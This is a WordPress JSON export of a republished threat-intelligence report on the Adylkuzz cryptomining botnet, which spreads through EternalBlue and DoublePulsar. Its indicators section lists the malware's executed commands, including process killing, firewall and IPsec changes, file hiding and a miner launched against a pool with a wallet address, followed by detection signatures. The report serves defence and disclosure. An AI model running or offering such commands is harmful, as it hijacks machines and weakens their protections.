{"id":193853,"date":"2017-05-20T06:28:30","date_gmt":"2017-05-20T10:28:30","guid":{"rendered":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks\/"},"modified":"2017-05-20T06:28:30","modified_gmt":"2017-05-20T10:28:30","slug":"adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks","status":"publish","type":"post","link":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/cryptocurrency-2\/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks\/","title":{"rendered":"Adylkuzz Cryptocurrency Mining Malware Spreading for Weeks &#8230;"},"content":{"rendered":"<p><p>    Overview  <\/p>\n<p>    On Friday, May 12, attackers spread a massive ransomware attack    worldwide using the EternalBlue exploit to rapidly propagate    the malware over corporate LANs and wireless networks.    EternalBlue, originally exposed on April 14 as part of the    Shadow Brokers dump of NSA hacking tools,    leverages a vulnerability (MS17-010) in Microsoft Server Message Block    (SMB) on TCP port 445 to discover vulnerable computers on a    network and laterally spread malicious payloads of the    attackers choice. This particular attack also appeared to use    an NSA backdoor called DoublePulsar to actually install the    ransomware known as WannaCry.  <\/p>\n<p>    Over the subsequent weekend, however, we discovered another    very large-scale attack using both EternalBlue and DoublePulsar    to install the cryptocurrency miner Adylkuzz. Initial    statistics suggest that this attack may be larger in scale than    WannaCry: because this attack shuts down SMB networking to    prevent further infections with other malware (including the    WannaCry worm) via that same vulnerability, it may have in fact    limited the spread of last weeks WannaCry infection.  <\/p>\n<p>    Symptoms of this attack include loss of access to shared    Windows resources and degradation of PC and server performance.    Several large organizations reported network issues this    morning that were originally attributed to the WannaCry    campaign. However, because of the lack of ransom notices,    we now believe that these problems might be associated with    Adylkuzz activity. However, it should be noted that the    Adylkuzz campaign significantly predates the WannaCry attack,    beginning at least on May 2 and possibly as early as April 24.    This attack is ongoing and, while less flashy than WannaCry, is    nonetheless quite large and potentially quite disruptive.  <\/p>\n<p>    The Discovery  <\/p>\n<p>    In the course of researching the WannaCry campaign, we exposed    a lab machine vulnerable to the EternalBlue attack. While we    expected to see WannaCry, the lab machine was actually infected    with an unexpected and less noisy guest: the cryptocurrency    miner Adylkuzz. We repeated the operation several times with    the same result: within 20 minutes of exposing a vulnerable    machine to the open web, it was enrolled in an Adylkuzz mining    botnet.  <\/p>\n<\/p>\n<p>    Figure 1: EternalBlue\/DoublePulsar attack from one of    several identified hosts, then Adylkuzz being download from    another host - A hash of a pcap of this capture is available in    the IOCs table  <\/p>\n<p>    The attack is launched from several virtual private servers    which are massively scanning the Internet on TCP port 445 for    potential targets.  <\/p>\n<p>    Upon successful exploitation via EternalBlue, machines are    infected with DoublePulsar. The DoublePulsar backdoor then    downloads and runs Adylkuzz from another host. Once running,    Adylkuzz will first stop any potential instances of itself    already running and block SMB communication to avoid further    infection. It then determines the public IP address of the    victim and download the mining instructions, cryptominer, and    cleanup tools.  <\/p>\n<p>    It appears that at any given time there are multiple Adylkuzz    command and control (C&C) servers hosting the cryptominer    binaries and mining instructions.  <\/p>\n<p>    Figure 2 shows the post-infection traffic generated by Adylkuzz    in this attack.  <\/p>\n<\/p>\n<p>    Figure 2: Post-infection traffic associated with the    attack  <\/p>\n<p>    In this attack, Adylkuzz is being used to mine Monero    cryptocurrency. Similar to Bitcoin but with enhanced anonymity    capabilities, Monero recently saw a surge in activity after it    was adopted by the AlphaBay darknet market, described by law enforcement authorities as    a major underground website known to sell drugs, stolen credit    cards and counterfeit items. Like other cryptocurrencies,    Monero increases market capitalization through the process of    mining. This process is computationally intensive but rewards    miners with funds in the mined currency, currently 7.58 Moneros    or roughly $205 at current exchange rates.  <\/p>\n<p>    Figure 3 shows Adylkuzz mining Monero cryptocurrency, a process    that can be more easily distributed across a botnet like that    created here than in the case of Bitcoin, which now generally    requires dedicated, high-performance machines.  <\/p>\n<\/p>\n<p>    Figure 3: Part of the behavioral analysis from an    Adylkuzz-infected VM showing it, among other things, closing    SMB door and launching Monero Mining  <\/p>\n<p>    One of several Monero addresses associated with this attack is    shown in Figure 4. The hash rate shows the relative speed with    which the specific associated instance of the botnet is mining    Moneros, while the total paid shows the amount paid to this    particular address for mining activities. In this case, just    over $22,000 was paid out before the mining associated with    this address ceased.  <\/p>\n<\/p>\n<p>    Figure 4: One of several Monero addresses associated with    income from Adylkuzz mining  <\/p>\n<p>    Looking at the mining payments per day associated with a single    Adylkuzz address, we can see the increased payment activity    beginning on April 24 when this attack began. We believe that    the sudden drop that occurred on May 11 indicates when the    actors switched to a new mining user address (Figure 5). By    regularly switching addresses, we believe that the actors are    attempting to avoid having too many Moneros paid to a single    address.  <\/p>\n<\/p>\n<p>    Figure 5: Daily payment activity associated with a single    Adylkuzz mining address  <\/p>\n<p>    Statistics and payment history for a second payment address are    shown in Figure 6. This address has had just over $7,000 paid    to date.  <\/p>\n<\/p>\n<p>    Figure 6: A second Monero address associated with income    from Adylkuzz mining  <\/p>\n<p>    A third address shows a higher hash rate and a current payment    total of over $14,000 (Figure 7).  <\/p>\n<\/p>\n<p>    Figure 7: A third Monero address associated with income    from Adylkuzz mining  <\/p>\n<p>    We have currently identified over 20 hosts setup to scan and    attack, and are aware of more than a dozen active Adylkuzz    C&C servers. We also expect that there are many more Monero    mining payment addresses and Adylkuzz C&C servers    associated with this activity.  <\/p>\n<p>    Conclusion  <\/p>\n<p>    Like last weeks WannaCry campaign, this attack makes use of    leaked NSA hacking tools and leverages a patched vulnerability    in Microsoft Windows networking. The Adylkuzz campaign, in fact    predates WannaCry by many days. For organizations running    legacy versions of Windows or who have not implemented the SMB    patch that Microsoft released last month, PCs and servers will    remain vulnerable to this type of attack. Whether they involve    ransomware, cryptocurrency miners, or any other type of    malware, these attacks are potentially quite disruptive and    costly. Two major campaigns have now employed the attack tools    and vulnerability; we expect others will follow and recommend    that organizations and individuals patch their machines as soon    as possible.  <\/p>\n<p>    Acknowledgments  <\/p>\n<p>    We want to thank:  <\/p>\n<p>    Indicators of Compromise  <\/p>\n<p>    Also available in MISP JSON format.  <\/p>\n<p>    Select Dropped Samples  <\/p>\n<p>    Executed commands:  <\/p>\n<p>    taskkill \/f \/im hdmanager.exe    C:Windowssystem32wbemwmiprvse.exe -secured -Embedding    taskkill \/f \/im mmc.exe    sc stop WELM    sc delete WELM    netsh ipsec static add policy name=netbc    netsh ipsec static add filterlist name=block    netsh ipsec static add filteraction name=block action=block    netsh ipsec static add filter filterlist=block any srcmask=32    srcport=0 dstaddr=me dstport=445 protocol=tcp    description=445    netsh ipsec static add rule name=block policy=netbc    filterlist=block filteraction=block    netsh ipsec static set policy name=netbc assign=y    C:WindowsFontswuauser.exe --server    C:WindowsFontsmsiexev.exe -a cryptonight -o    stratum+tcp:\/\/xmr.crypto-pool.fr:443 -u    49v1V2suGMS8JyPEU5FTtJRTHQ9YmraW7Mf2btVCTxZuEB8EjjqQz3i8vECu7XCgvUfiW6NtSRewnHF5MNA3LbQTBQV3v9i    -p x -t 1    C:WindowsTEMP\\s2bk.1_.exe \/stab    C:WindowsTEMP\\s2bk.2_.log    taskkill \/f \/im msiexev.exe    netsh advfirewall firewall delete rule name=\"Chrome\"    netsh advfirewall firewall delete rule name=\"Windriver\"    netsh advfirewall firewall add rule name=\"Chrome\" dir=in    program=\"C:Program FilesGoogleChromeApplicationchrome.txt\"    action=allow    netsh advfirewall firewall add rule name=\"Windriver\" dir=in    program=\"C:Program FilesHardware Driver    Managementwindriver.exe\" action=allow    C:Windows445.bat    C:Windowssystem32PING.EXE ping 127.0.0.1    net stop Windows32_Update    attrib +s +a +r +h wuauser.exe    C:Windowssystem32SecEdit.exe secedit \/configure \/db    C:Windowsnetbios.sdb    C:Windowssystem32net1 stop Windows32_Update  <\/p>\n<p>    Select ET signatures  <\/p>\n<p>    2024217 || ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap    Spray    2024218 || ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo    Response    2024216 || ET EXPLOIT Possible DOUBLEPULSAR Beacon Response    2000419 || ET POLICY PE EXE or DLL Windows file download    2826160 || ETPRO TROJAN CoinMiner Known Malicious Stratum    Authline (2017-04-28 1)    2017398 || ET POLICY Internal Host Retrieving External IP via    icanhazip.com - Possible Infection    2022886 || ET POLICY Crypto Coin Miner Login  <\/p>\n<p><!-- Auto Generated --><\/p>\n<p>The rest is here:<br \/>\n<a target=\"_blank\" href=\"https:\/\/www.proofpoint.com\/us\/threat-insight\/post\/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar\" title=\"Adylkuzz Cryptocurrency Mining Malware Spreading for Weeks ...\">Adylkuzz Cryptocurrency Mining Malware Spreading for Weeks ...<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p> Overview On Friday, May 12, attackers spread a massive ransomware attack worldwide using the EternalBlue exploit to rapidly propagate the malware over corporate LANs and wireless networks. EternalBlue, originally exposed on April 14 as part of the Shadow Brokers dump of NSA hacking tools, leverages a vulnerability (MS17-010) in Microsoft Server Message Block (SMB) on TCP port 445 to discover vulnerable computers on a network and laterally spread malicious payloads of the attackers choice.  <a href=\"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/cryptocurrency-2\/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[94874],"tags":[],"class_list":["post-193853","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency-2"],"_links":{"self":[{"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/posts\/193853"}],"collection":[{"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/comments?post=193853"}],"version-history":[{"count":0,"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/posts\/193853\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/media?parent=193853"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/categories?post=193853"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.euvolution.com\/prometheism-transhumanism-posthumanism\/wp-json\/wp\/v2\/tags?post=193853"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}